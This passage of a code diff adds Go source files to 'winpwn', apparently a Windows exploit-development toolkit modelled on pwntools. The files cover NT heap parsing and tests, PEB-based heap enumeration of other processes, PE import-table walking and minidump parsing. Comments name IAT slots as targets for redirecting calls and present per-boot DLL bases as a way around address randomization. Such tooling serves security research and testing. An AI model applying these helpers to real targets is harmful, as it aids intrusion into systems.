t.Errorf("FrontEndHeapType = %d, want %d", h.FrontEndHeapType, FrontEndHeapNone)
|
||||
}
|
||||
if h.BaseAddress != 0x6f0000 || h.FirstEntry != 0x6f0740 || h.LastValidEntry != 0x7ef000 {
|
||||
t.Errorf("BaseAddress/FirstEntry/LastValidEntry = 0x%x/0x%x/0x%x", h.BaseAddress, h.FirstEntry, h.LastValidEntry)
|
||||
}
|
||||
}
|
||||
|
||||
func TestReadHeapRejectsSegmentHeap(t *testing.T) {
|
||||
buf := make([]byte, 0x20)
|
||||
binaryLEPutUint32(buf[0x10:], heapSignatureSegment)
|
||||
if _, err := ReadHeap(newByteReaderAt(buf), 0); err == nil {
|
||||
t.Fatal("expected ReadHeap to reject a Segment Heap signature")
|
||||
}
|
||||
}
|
||||
|
||||
func TestHeapSegmentsSingleSegmentIsEmpty(t *testing.T) {
|
||||
// A heap with only the embedded Segment0: SegmentList's Flink/Blink
|
||||
// both point back at the list head itself (heapOffSegmentList), the
|
||||
// standard "empty list" LIST_ENTRY representation.
|
||||
buf := make([]byte, 0x200)
|
||||
headAddr := uint64(heapOffSegmentList)
|
||||
binaryLEPutUint64(buf[heapOffSegmentList:], headAddr)
|
||||
binaryLEPutUint64(buf[heapOffSegmentList+8:], headAddr)
|
||||
|
||||
h := &Heap{Addr: 0}
|
||||
segs, err := h.Segments(newByteReaderAt(buf))
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if len(segs) != 0 {
|
||||
t.Errorf("got %d segments, want 0 for an empty SegmentList", len(segs))
|
||||
}
|
||||
}
|
||||
|
||||
func TestWalkSegmentEntriesStopsAtLastEntry(t *testing.T) {
|
||||
// Three unencoded entries (no Encoding key, EncodeFlagMask=0 case):
|
||||
// 32 bytes busy, 16 bytes free, 16 bytes busy+LastEntry.
|
||||
buf := make([]byte, 64)
|
||||
putEntry := func(off int, size uint16, flags uint8, prevSize uint16) {
|
||||
buf[off+8] = byte(size)
|
||||
buf[off+9] = byte(size >> 8)
|
||||
buf[off+10] = flags
|
||||
buf[off+12] = byte(prevSize)
|
||||
buf[off+13] = byte(prevSize >> 8)
|
||||
}
|
||||
putEntry(0, 2, HeapEntryBusy, 0)
|
||||
putEntry(32, 1, 0, 2)
|
||||
putEntry(48, 1, HeapEntryBusy|HeapEntryLastEntry, 1)
|
||||
|
||||
entries, err := WalkSegmentEntries(newByteReaderAt(buf), 0, 64, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if len(entries) != 3 {
|
||||
t.Fatalf("got %d entries, want 3", len(entries))
|
||||
}
|
||||
if entries[0].Addr != 0 || entries[0].BlockSize() != 32 || !entries[0].Busy() {
|
||||
t.Errorf("entry 0 = %+v", entries[0])
|
||||
}
|
||||
if entries[1].Addr != 32 || entries[1].BlockSize() != 16 || entries[1].Busy() {
|
||||
t.Errorf("entry 1 = %+v", entries[1])
|
||||
}
|
||||
if entries[2].Addr != 48 || !entries[2].LastEntry() {
|
||||
t.Errorf("entry 2 = %+v", entries[2])
|
||||
}
|
||||
}
|
||||
|
||||
func TestWalkSegmentEntriesZeroSizeIsAnError(t *testing.T) {
|
||||
buf := make([]byte, 32) // entry at 0 decodes to Size=0 -- can't make progress
|
||||
_, err := WalkSegmentEntries(newByteReaderAt(buf), 0, 32, nil)
|
||||
if err == nil {
|
||||
t.Fatal("expected an error for a zero-size entry")
|
||||
}
|
||||
}
|
||||
|
||||
// byteReaderAt adapts a plain []byte to io.ReaderAt for synthetic tests,
|
||||
// the same role buildSyntheticMinidump's bytes.Reader plays in
|
||||
// minidump_test.go.
|
||||
type byteReaderAt struct{ buf []byte }
|
||||
|
||||
func newByteReaderAt(buf []byte) *byteReaderAt { return &byteReaderAt{buf: buf} }
|
||||
|
||||
func (b *byteReaderAt) ReadAt(p []byte, off int64) (int, error) {
|
||||
if off < 0 || int(off) > len(b.buf) {
|
||||
return 0, errOutOfRange
|
||||
}
|
||||
n := copy(p, b.buf[off:])
|
||||
if n < len(p) {
|
||||
return n, errOutOfRange
|
||||
}
|
||||
return n, nil
|
||||
}
|
||||
|
||||
func binaryLEPutUint32(b []byte, v uint32) {
|
||||
b[0] = byte(v)
|
||||
b[1] = byte(v >> 8)
|
||||
b[2] = byte(v >> 16)
|
||||
b[3] = byte(v >> 24)
|
||||
}
|
||||
|
||||
func binaryLEPutUint64(b []byte, v uint64) {
|
||||
for i := 0; i < 8; i++ {
|
||||
b[i] = byte(v >> (8 * i))
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// Offsets within ntdll's x64 _PEB, confirmed via `dt ntdll!_PEB` the same
|
||||
// way heap.go's _HEAP offsets were -- see heap.go's top comment.
|
||||
const (
|
||||
pebOffNumberOfHeaps = 0x0e8
|
||||
pebOffProcessHeaps = 0x0f0 // PVOID*, an array of NumberOfHeaps heap addresses
|
||||
)
|
||||
|
||||
// ListProcessHeaps enumerates every heap that exists in pid's address
|
||||
// space by walking PEB.ProcessHeaps from outside the process -- the exact
|
||||
// same array GetProcessHeaps() reads from inside one, just reached via
|
||||
// ReadProcessMemory the way ResolveModuleBase (procmem_windows.go) reads
|
||||
// PEB.Ldr for the loaded-module list instead of needing a leak. The
|
||||
// default process heap (PEB.ProcessHeap) is always included, since
|
||||
// HeapCreate registers every heap -- including the default one ntdll
|
||||
// creates before main() even runs -- into this same array.
|
||||
//
|
||||
// This is the natural companion to DetectHeapKind/ReadHeap: once you have
|
||||
// a PID and nothing else, ListProcessHeaps is how you find an address
|
||||
// worth handing to either of them, instead of needing a leaked heap handle
|
||||
// from the target's own output first.
|
||||
func ListProcessHeaps(pid uint32) ([]uint64, error) {
|
||||
mem, err := OpenProcessMemory(pid, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer mem.Close()
|
||||
|
||||
var pbi windows.PROCESS_BASIC_INFORMATION
|
||||
var retLen uint32
|
||||
if err := windows.NtQueryInformationProcess(mem.Handle, windows.ProcessBasicInformation,
|
||||
unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), &retLen); err != nil {
|
||||
return nil, fmt.Errorf("NtQueryInformationProcess(ProcessBasicInformation): %w", err)
|
||||
}
|
||||
pebAddr := uint64(uintptr(unsafe.Pointer(pbi.PebBaseAddress)))
|
||||
if pebAddr == 0 {
|
||||
return nil, fmt.Errorf("PEB address for pid %d is null", pid)
|
||||
}
|
||||
|
||||
numHeaps, err := readUint32AtValue(mem, int64(pebAddr)+pebOffNumberOfHeaps)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading PEB.NumberOfHeaps: %w", err)
|
||||
}
|
||||
arrayAddr, err := readUint64At(mem, int64(pebAddr)+pebOffProcessHeaps)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("reading PEB.ProcessHeaps: %w", err)
|
||||
}
|
||||
|
||||
heaps := make([]uint64, 0, numHeaps)
|
||||
for i := uint32(0); i < numHeaps; i++ {
|
||||
addr, err := readUint64At(mem, int64(arrayAddr)+int64(i)*8)
|
||||
if err != nil {
|
||||
return heaps, fmt.Errorf("reading ProcessHeaps[%d] (of %d): %w", i, numHeaps, err)
|
||||
}
|
||||
heaps = append(heaps, addr)
|
||||
}
|
||||
return heaps, nil
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build !windows
|
||||
|
||||
package winpwn
|
||||
|
||||
// ImportedLibs requires GOOS=windows: resolving a live image base means
|
||||
// actually loading the DLL (LoadLibrary), which only exists on Windows.
|
||||
func (p *PEFile) ImportedLibs() ([]ImportedLib, error) {
|
||||
return nil, errWindowsOnly
|
||||
}
|
||||
@@ -0,0 +1,47 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// ImportedLibs returns the distinct DLLs listed in this PE's import table,
|
||||
// each loaded into the current process (via LoadLibrary -- already-loaded
|
||||
// system DLLs just hand back their existing mapping and a bumped refcount,
|
||||
// which is immediately released again) to report its current live image
|
||||
// base.
|
||||
//
|
||||
// This is useful on Windows specifically because a system DLL's base is
|
||||
// randomized once per boot, not once per process: every process on the
|
||||
// machine sees kernel32.dll/ntdll.dll/etc. at the same address until the
|
||||
// next reboot. So the base reported here is a real, reusable value for
|
||||
// planning an exploit against this machine -- not a property of some
|
||||
// already-running target you'd otherwise have to leak from first.
|
||||
func (p *PEFile) ImportedLibs() ([]ImportedLib, error) {
|
||||
imports, err := p.ListImports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
seen := make(map[string]bool, len(imports))
|
||||
var out []ImportedLib
|
||||
for _, im := range imports {
|
||||
key := strings.ToLower(im.DLL)
|
||||
if im.DLL == "" || seen[key] {
|
||||
continue
|
||||
}
|
||||
seen[key] = true
|
||||
|
||||
h, err := windows.LoadLibrary(im.DLL)
|
||||
if err != nil {
|
||||
out = append(out, ImportedLib{Name: im.DLL, Err: err})
|
||||
continue
|
||||
}
|
||||
out = append(out, ImportedLib{Name: im.DLL, Base: uint64(h)})
|
||||
windows.FreeLibrary(h)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
+164
@@ -0,0 +1,164 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"errors"
|
||||
)
|
||||
|
||||
// Import describes one entry of a PE's Import Address Table (IAT), the
|
||||
// analogue of pwntools reading a binary's .got/.dynsym to find which libc
|
||||
// functions it pulls in.
|
||||
type Import struct {
|
||||
DLL string
|
||||
// Name is empty when the function is imported by ordinal only.
|
||||
Name string
|
||||
Ordinal uint16
|
||||
// IATRVA is the RVA of this import's slot in the IAT -- the address the
|
||||
// loader overwrites with the real function pointer at load time, and
|
||||
// the address you'd target if you wanted to overwrite the import to
|
||||
// redirect a call.
|
||||
IATRVA uint32
|
||||
}
|
||||
|
||||
// ImportedLib describes one DLL a PE imports, plus that DLL's current live
|
||||
// image base in this process (see (*PEFile).ImportedLibs).
|
||||
type ImportedLib struct {
|
||||
Name string
|
||||
// Base is 0 if Err is set (the library failed to load in this process).
|
||||
Base uint64
|
||||
Err error
|
||||
}
|
||||
|
||||
const importOrdinalFlag64 = uint64(1) << 63
|
||||
const importOrdinalFlag32 = uint32(1) << 31
|
||||
|
||||
// importDescriptor mirrors winnt.h's IMAGE_IMPORT_DESCRIPTOR.
|
||||
type importDescriptor struct {
|
||||
OriginalFirstThunk uint32
|
||||
TimeDateStamp uint32
|
||||
ForwarderChain uint32
|
||||
Name uint32
|
||||
FirstThunk uint32
|
||||
}
|
||||
|
||||
// ListImports walks the full Import Directory Table (IDT) and each DLL's
|
||||
// thunk array, resolving every imported name/ordinal and its IAT slot
|
||||
// address. The analogue of pwntools poking at a binary's dynamic symbol
|
||||
// table to see what it links against.
|
||||
func (p *PEFile) ListImports() ([]Import, error) {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dir := h.dataDirectory[1]
|
||||
if dir.VirtualAddress == 0 {
|
||||
return nil, errors.New("import table not found")
|
||||
}
|
||||
descOffset := p.RVAToFileOffset(dir.VirtualAddress)
|
||||
if descOffset == 0 {
|
||||
return nil, errors.New("failed to map import directory RVA to file offset")
|
||||
}
|
||||
|
||||
var imports []Import
|
||||
for i := 0; ; i++ {
|
||||
var desc importDescriptor
|
||||
if err := p.readStructAt(descOffset+int64(i*20), &desc); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if desc.OriginalFirstThunk == 0 && desc.Name == 0 && desc.FirstThunk == 0 {
|
||||
break // null terminator descriptor
|
||||
}
|
||||
|
||||
dllName, err := p.readCString(p.RVAToFileOffset(desc.Name))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
thunkRVA := desc.OriginalFirstThunk
|
||||
if thunkRVA == 0 {
|
||||
thunkRVA = desc.FirstThunk // some linkers omit the ILT entirely
|
||||
}
|
||||
|
||||
entries, err := p.walkThunks(h.is64, thunkRVA, desc.FirstThunk)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i := range entries {
|
||||
entries[i].DLL = dllName
|
||||
}
|
||||
imports = append(imports, entries...)
|
||||
}
|
||||
|
||||
return imports, nil
|
||||
}
|
||||
|
||||
func (p *PEFile) walkThunks(is64 bool, thunkRVA uint32, iatRVA uint32) ([]Import, error) {
|
||||
var out []Import
|
||||
thunkSize := uint32(4)
|
||||
if is64 {
|
||||
thunkSize = 8
|
||||
}
|
||||
|
||||
for j := uint32(0); ; j++ {
|
||||
thunkOffset := p.RVAToFileOffset(thunkRVA + j*thunkSize)
|
||||
|
||||
var imp Import
|
||||
imp.IATRVA = iatRVA + j*thunkSize
|
||||
|
||||
if is64 {
|
||||
var thunk uint64
|
||||
if err := p.readStructAt(thunkOffset, &thunk); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if thunk == 0 {
|
||||
break
|
||||
}
|
||||
if thunk&importOrdinalFlag64 != 0 {
|
||||
imp.Ordinal = uint16(thunk & 0xFFFF)
|
||||
} else {
|
||||
name, err := p.readCString(p.RVAToFileOffset(uint32(thunk)) + 2) // skip Hint WORD
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
imp.Name = name
|
||||
}
|
||||
} else {
|
||||
var thunk uint32
|
||||
if err := p.readStructAt(thunkOffset, &thunk); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if thunk == 0 {
|
||||
break
|
||||
}
|
||||
if thunk&importOrdinalFlag32 != 0 {
|
||||
imp.Ordinal = uint16(thunk & 0xFFFF)
|
||||
} else {
|
||||
name, err := p.readCString(p.RVAToFileOffset(thunk) + 2)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
imp.Name = name
|
||||
}
|
||||
}
|
||||
|
||||
out = append(out, imp)
|
||||
}
|
||||
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// FindImport looks for a specific imported function by name across every
|
||||
// imported DLL -- the quick "does this binary already pull in
|
||||
// VirtualProtect/LoadLibraryA/GetProcAddress" check.
|
||||
func (p *PEFile) FindImport(funcName string) (*Import, error) {
|
||||
imports, err := p.ListImports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i := range imports {
|
||||
if imports[i].Name == funcName {
|
||||
return &imports[i], nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("import not found: " + funcName)
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Info/Success/Warn/Error are winpwn's leveled logger, the analogue of
|
||||
// pwntools' log.info/log.success/log.warn/log.error. All four write to
|
||||
// stderr (so they never interleave with a tube's own stdout traffic) and
|
||||
// are gated by Context.LogLevel -- set Context.LogLevel = LogLevelSilent to
|
||||
// quiet a script down for scripted/CI use.
|
||||
func Info(format string, args ...any) {
|
||||
logAt(LogLevelInfo, "[*]", format, args...)
|
||||
}
|
||||
|
||||
func Success(format string, args ...any) {
|
||||
logAt(LogLevelInfo, "[+]", format, args...)
|
||||
}
|
||||
|
||||
func Warn(format string, args ...any) {
|
||||
logAt(LogLevelWarn, "[!]", format, args...)
|
||||
}
|
||||
|
||||
func Error(format string, args ...any) {
|
||||
logAt(LogLevelError, "[-]", format, args...)
|
||||
}
|
||||
|
||||
func logAt(level LogLevel, prefix, format string, args ...any) {
|
||||
if level < Context.LogLevel {
|
||||
return
|
||||
}
|
||||
msg := fmt.Sprintf(format, args...)
|
||||
fmt.Fprintf(os.Stderr, "%s %s %s\n", time.Now().Format("15:04:05"), prefix, msg)
|
||||
}
|
||||
+312
@@ -0,0 +1,312 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
// minidumpSignature is MINIDUMP_HEADER.Signature ('MDMP' read as a
|
||||
// little-endian ULONG32), the magic number every .dmp file starts with.
|
||||
const minidumpSignature = 0x504D444D
|
||||
|
||||
// MinidumpStreamType mirrors winnt.h's MINIDUMP_STREAM_TYPE. Only the
|
||||
// values this package decodes natively are named here; RawStream accepts
|
||||
// any numeric stream type for everything else (SystemInfoStream,
|
||||
// ThreadListStream, Memory64ListStream, ...), the same way dbghelp's
|
||||
// MiniDumpReadDumpStream takes an arbitrary stream number.
|
||||
type MinidumpStreamType uint32
|
||||
|
||||
const (
|
||||
StreamThreadList MinidumpStreamType = 3
|
||||
StreamModuleList MinidumpStreamType = 4
|
||||
StreamMemoryList MinidumpStreamType = 5
|
||||
StreamException MinidumpStreamType = 6
|
||||
StreamSystemInfo MinidumpStreamType = 7
|
||||
StreamMemory64List MinidumpStreamType = 9
|
||||
)
|
||||
|
||||
// minidumpHeader mirrors MINIDUMP_HEADER (winnt.h), 32 bytes, no padding:
|
||||
// every field here is naturally aligned at its own offset already.
|
||||
type minidumpHeader struct {
|
||||
Signature uint32
|
||||
Version uint32
|
||||
NumberOfStreams uint32
|
||||
StreamDirectoryRva uint32
|
||||
CheckSum uint32
|
||||
TimeDateStamp uint32
|
||||
Flags uint64
|
||||
}
|
||||
|
||||
// minidumpLocationDescriptor mirrors MINIDUMP_LOCATION_DESCRIPTOR: despite
|
||||
// the name this Rva is a plain file offset, not an RVA relative to a
|
||||
// loaded image -- a minidump is never "loaded", it's just read.
|
||||
type minidumpLocationDescriptor struct {
|
||||
DataSize uint32
|
||||
Rva uint32
|
||||
}
|
||||
|
||||
// minidumpDirectory mirrors MINIDUMP_DIRECTORY, 12 bytes.
|
||||
type minidumpDirectory struct {
|
||||
StreamType uint32
|
||||
Location minidumpLocationDescriptor
|
||||
}
|
||||
|
||||
// Minidump is a read-only handle on a Windows .dmp file, parsed directly
|
||||
// from the public MINIDUMP_* structures (winnt.h) instead of calling
|
||||
// dbghelp.dll's MiniDumpReadDumpStream. Same spirit as the rest of this
|
||||
// package's PE/ROP parsing (see pe.go, gadgets.go, and the "reimplemented
|
||||
// directly from the spec instead" note on checksec in the README): the
|
||||
// format is just bytes with a documented, stable layout, and parsing it
|
||||
// directly means this works without GOOS=windows or dbghelp.dll present,
|
||||
// and is unit-testable against a synthetic in-memory buffer instead of
|
||||
// needing a real crash dump on disk.
|
||||
type Minidump struct {
|
||||
r io.ReaderAt
|
||||
closer io.Closer
|
||||
header minidumpHeader
|
||||
streams []minidumpDirectory
|
||||
}
|
||||
|
||||
// OpenMinidump opens and parses a .dmp file's header and stream directory.
|
||||
func OpenMinidump(path string) (*Minidump, error) {
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m, err := newMinidump(f)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
return nil, err
|
||||
}
|
||||
m.closer = f
|
||||
return m, nil
|
||||
}
|
||||
|
||||
// newMinidump parses from any io.ReaderAt (a file, or an in-memory
|
||||
// bytes.Reader for tests/already-loaded buffers) -- OpenMinidump is just
|
||||
// this plus a file open/close.
|
||||
func newMinidump(r io.ReaderAt) (*Minidump, error) {
|
||||
m := &Minidump{r: r}
|
||||
|
||||
if err := readStructAt(r, 0, &m.header); err != nil {
|
||||
return nil, fmt.Errorf("read MINIDUMP_HEADER: %w", err)
|
||||
}
|
||||
if m.header.Signature != minidumpSignature {
|
||||
return nil, fmt.Errorf("not a minidump file (signature 0x%X, want 0x%X)", m.header.Signature, minidumpSignature)
|
||||
}
|
||||
|
||||
m.streams = make([]minidumpDirectory, m.header.NumberOfStreams)
|
||||
for i := range m.streams {
|
||||
const sizeofDirectory = 12
|
||||
off := int64(m.header.StreamDirectoryRva) + int64(i)*sizeofDirectory
|
||||
if err := readStructAt(r, off, &m.streams[i]); err != nil {
|
||||
return nil, fmt.Errorf("read MINIDUMP_DIRECTORY[%d]: %w", i, err)
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *Minidump) Close() error {
|
||||
if m.closer != nil {
|
||||
return m.closer.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Minidump) findStream(t MinidumpStreamType) (minidumpDirectory, bool) {
|
||||
for _, d := range m.streams {
|
||||
if d.StreamType == uint32(t) {
|
||||
return d, true
|
||||
}
|
||||
}
|
||||
return minidumpDirectory{}, false
|
||||
}
|
||||
|
||||
// RawStream returns the raw bytes of the first stream of type t -- the
|
||||
// direct analogue of MiniDumpReadDumpStream for any stream this package
|
||||
// doesn't decode natively (SystemInfoStream, ThreadListStream,
|
||||
// Memory64ListStream, ...). The caller is responsible for knowing that
|
||||
// stream's layout.
|
||||
func (m *Minidump) RawStream(t MinidumpStreamType) ([]byte, error) {
|
||||
dir, ok := m.findStream(t)
|
||||
if !ok {
|
||||
return nil, fmt.Errorf("stream type %d not present in this minidump", t)
|
||||
}
|
||||
buf := make([]byte, dir.Location.DataSize)
|
||||
if _, err := m.r.ReadAt(buf, int64(dir.Location.Rva)); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return buf, nil
|
||||
}
|
||||
|
||||
// MinidumpModule is one entry of MINIDUMP_MODULE_LIST: a loaded module's
|
||||
// name and the base address it was loaded at -- exactly what you need to
|
||||
// rebase a crash address back into the binary you can actually open in a
|
||||
// disassembler.
|
||||
type MinidumpModule struct {
|
||||
Name string
|
||||
BaseOfImage uint64
|
||||
SizeOfImage uint32
|
||||
TimeDateStamp uint32
|
||||
}
|
||||
|
||||
// sizeofMinidumpModule is sizeof(MINIDUMP_MODULE): BaseOfImage(8) +
|
||||
// SizeOfImage(4) + CheckSum(4) + TimeDateStamp(4) + ModuleNameRva(4) +
|
||||
// VS_FIXEDFILEINFO(52) + CvRecord(8) + MiscRecord(8) + Reserved0(8) +
|
||||
// Reserved1(8) = 108. Decoded by fixed offset below rather than a matching
|
||||
// Go struct, since only a handful of its fields are useful here and
|
||||
// VS_FIXEDFILEINFO's 13 DWORDs aren't worth modeling just to skip over.
|
||||
const sizeofMinidumpModule = 108
|
||||
|
||||
// Modules walks MINIDUMP_MODULE_LIST and resolves each module's name
|
||||
// string, the analogue of pwntools' Corefile module list but for a Windows
|
||||
// crash dump.
|
||||
func (m *Minidump) Modules() ([]MinidumpModule, error) {
|
||||
dir, ok := m.findStream(StreamModuleList)
|
||||
if !ok {
|
||||
return nil, errors.New("ModuleListStream not present in this minidump")
|
||||
}
|
||||
|
||||
var count uint32
|
||||
if err := readUint32At(m.r, int64(dir.Location.Rva), &count); err != nil {
|
||||
return nil, fmt.Errorf("read MINIDUMP_MODULE_LIST.NumberOfModules: %w", err)
|
||||
}
|
||||
|
||||
base := int64(dir.Location.Rva) + 4
|
||||
out := make([]MinidumpModule, 0, count)
|
||||
for i := uint32(0); i < count; i++ {
|
||||
buf := make([]byte, sizeofMinidumpModule)
|
||||
if _, err := m.r.ReadAt(buf, base+int64(i)*sizeofMinidumpModule); err != nil {
|
||||
return nil, fmt.Errorf("read MINIDUMP_MODULE[%d]: %w", i, err)
|
||||
}
|
||||
|
||||
nameRva := binary.LittleEndian.Uint32(buf[20:24])
|
||||
name, err := m.readMinidumpString(nameRva)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read module name for MINIDUMP_MODULE[%d]: %w", i, err)
|
||||
}
|
||||
|
||||
out = append(out, MinidumpModule{
|
||||
Name: name,
|
||||
BaseOfImage: binary.LittleEndian.Uint64(buf[0:8]),
|
||||
SizeOfImage: binary.LittleEndian.Uint32(buf[8:12]),
|
||||
TimeDateStamp: binary.LittleEndian.Uint32(buf[16:20]),
|
||||
})
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// readMinidumpString reads a MINIDUMP_STRING at the given offset: a
|
||||
// ULONG32 byte length (excluding the length field and the terminator)
|
||||
// followed by a UTF-16LE buffer.
|
||||
func (m *Minidump) readMinidumpString(offset uint32) (string, error) {
|
||||
var length uint32
|
||||
if err := readUint32At(m.r, int64(offset), &length); err != nil {
|
||||
return "", err
|
||||
}
|
||||
buf := make([]byte, length)
|
||||
if _, err := m.r.ReadAt(buf, int64(offset)+4); err != nil {
|
||||
return "", err
|
||||
}
|
||||
units := make([]uint16, length/2)
|
||||
for i := range units {
|
||||
units[i] = binary.LittleEndian.Uint16(buf[i*2:])
|
||||
}
|
||||
return string(utf16.Decode(units)), nil
|
||||
}
|
||||
|
||||
// exceptionMaxParameters is EXCEPTION_MAXIMUM_PARAMETERS (winnt.h): the
|
||||
// fixed size of MINIDUMP_EXCEPTION.ExceptionInformation.
|
||||
const exceptionMaxParameters = 15
|
||||
|
||||
// MinidumpException is MINIDUMP_EXCEPTION_STREAM flattened to the fields a
|
||||
// crash-triage script actually wants: which thread, what kind of fault
|
||||
// (ExceptionCode -- e.g. 0xC0000005 for an access violation, the same
|
||||
// value Tube.Interactive already reports for a locally observed crash),
|
||||
// and where.
|
||||
type MinidumpException struct {
|
||||
ThreadID uint32
|
||||
ExceptionCode uint32
|
||||
ExceptionFlags uint32
|
||||
ExceptionAddress uint64
|
||||
// Parameters holds the first NumberParameters entries of
|
||||
// ExceptionInformation -- e.g. for an access violation, Parameters[0]
|
||||
// is the access type (read/write/execute) and Parameters[1] is the
|
||||
// faulting address.
|
||||
Parameters []uint64
|
||||
}
|
||||
|
||||
// sizeofMinidumpExceptionStream is sizeof(MINIDUMP_EXCEPTION_STREAM):
|
||||
// ThreadId(4) + alignment(4) + MINIDUMP_EXCEPTION(152) +
|
||||
// ThreadContext location descriptor(8) = 168.
|
||||
const sizeofMinidumpExceptionStream = 168
|
||||
|
||||
// Exception decodes MINIDUMP_EXCEPTION_STREAM, if present (a minidump
|
||||
// taken from a still-running, non-crashed process has no exception
|
||||
// stream). The register context blob referenced by
|
||||
// MINIDUMP_EXCEPTION_STREAM.ThreadContext is not decoded here -- CONTEXT's
|
||||
// layout differs by architecture and has internal padding/XSAVE-area
|
||||
// subtleties not worth getting wrong; use RawStream(StreamException) and
|
||||
// slice past sizeofMinidumpExceptionStream's ThreadContext location if you
|
||||
// need the raw register bytes for a specific architecture.
|
||||
func (m *Minidump) Exception() (*MinidumpException, error) {
|
||||
dir, ok := m.findStream(StreamException)
|
||||
if !ok {
|
||||
return nil, errors.New("ExceptionStream not present in this minidump (the process may not have crashed)")
|
||||
}
|
||||
|
||||
buf := make([]byte, sizeofMinidumpExceptionStream)
|
||||
if _, err := m.r.ReadAt(buf, int64(dir.Location.Rva)); err != nil {
|
||||
return nil, fmt.Errorf("read MINIDUMP_EXCEPTION_STREAM: %w", err)
|
||||
}
|
||||
|
||||
threadID := binary.LittleEndian.Uint32(buf[0:4])
|
||||
// MINIDUMP_EXCEPTION starts right after ThreadId + a 4-byte alignment pad.
|
||||
exc := buf[8:]
|
||||
numParams := binary.LittleEndian.Uint32(exc[24:28])
|
||||
if numParams > exceptionMaxParameters {
|
||||
numParams = exceptionMaxParameters
|
||||
}
|
||||
params := make([]uint64, numParams)
|
||||
for i := range params {
|
||||
params[i] = binary.LittleEndian.Uint64(exc[32+i*8:])
|
||||
}
|
||||
|
||||
return &MinidumpException{
|
||||
ThreadID: threadID,
|
||||
ExceptionCode: binary.LittleEndian.Uint32(exc[0:4]),
|
||||
ExceptionFlags: binary.LittleEndian.Uint32(exc[4:8]),
|
||||
ExceptionAddress: binary.LittleEndian.Uint64(exc[16:24]),
|
||||
Parameters: params,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// readStructAt fills v (a pointer to a fixed-size struct of fixed-width
|
||||
// fields) by reading binary.Size(v) bytes at offset -- the minidump.go
|
||||
// analogue of PEFile.readStructAt in pe.go, kept separate since Minidump
|
||||
// isn't a PEFile and has no reason to share its receiver.
|
||||
func readStructAt(r io.ReaderAt, offset int64, v any) error {
|
||||
size := binary.Size(v)
|
||||
if size < 0 {
|
||||
return errors.New("readStructAt: unsupported type")
|
||||
}
|
||||
buf := make([]byte, size)
|
||||
if _, err := r.ReadAt(buf, offset); err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Read(bytes.NewReader(buf), binary.LittleEndian, v)
|
||||
}
|
||||
|
||||
func readUint32At(r io.ReaderAt, offset int64, out *uint32) error {
|
||||
var buf [4]byte
|
||||
if _, err := r.ReadAt(buf[:], offset); err != nil {
|
||||
return err
|
||||
}
|
||||
*out = binary.LittleEndian.Uint32(buf[:])
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,159 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/binary"
|
||||
"testing"
|
||||
"unicode/utf16"
|
||||
)
|
||||
|
||||
// buildSyntheticMinidump assembles a minimal but structurally real
|
||||
// MINIDUMP_HEADER + MINIDUMP_DIRECTORY[2] + ModuleListStream (one module)
|
||||
// + ExceptionStream, laid out at arbitrary offsets the directory points to
|
||||
// (deliberately not in stream order, to exercise the Rva indirection
|
||||
// rather than relying on everything being contiguous). This is the payoff
|
||||
// of parsing the format natively instead of via dbghelp.dll: a synthetic
|
||||
// fixture like this lets the parser be tested without a real crash dump.
|
||||
func buildSyntheticMinidump(t *testing.T) []byte {
|
||||
t.Helper()
|
||||
|
||||
const (
|
||||
headerSize = 32
|
||||
directorySize = 12 * 2 // two streams
|
||||
)
|
||||
|
||||
moduleName := "ntdll.dll"
|
||||
nameUTF16 := utf16.Encode([]rune(moduleName))
|
||||
nameBytes := make([]byte, 2*len(nameUTF16))
|
||||
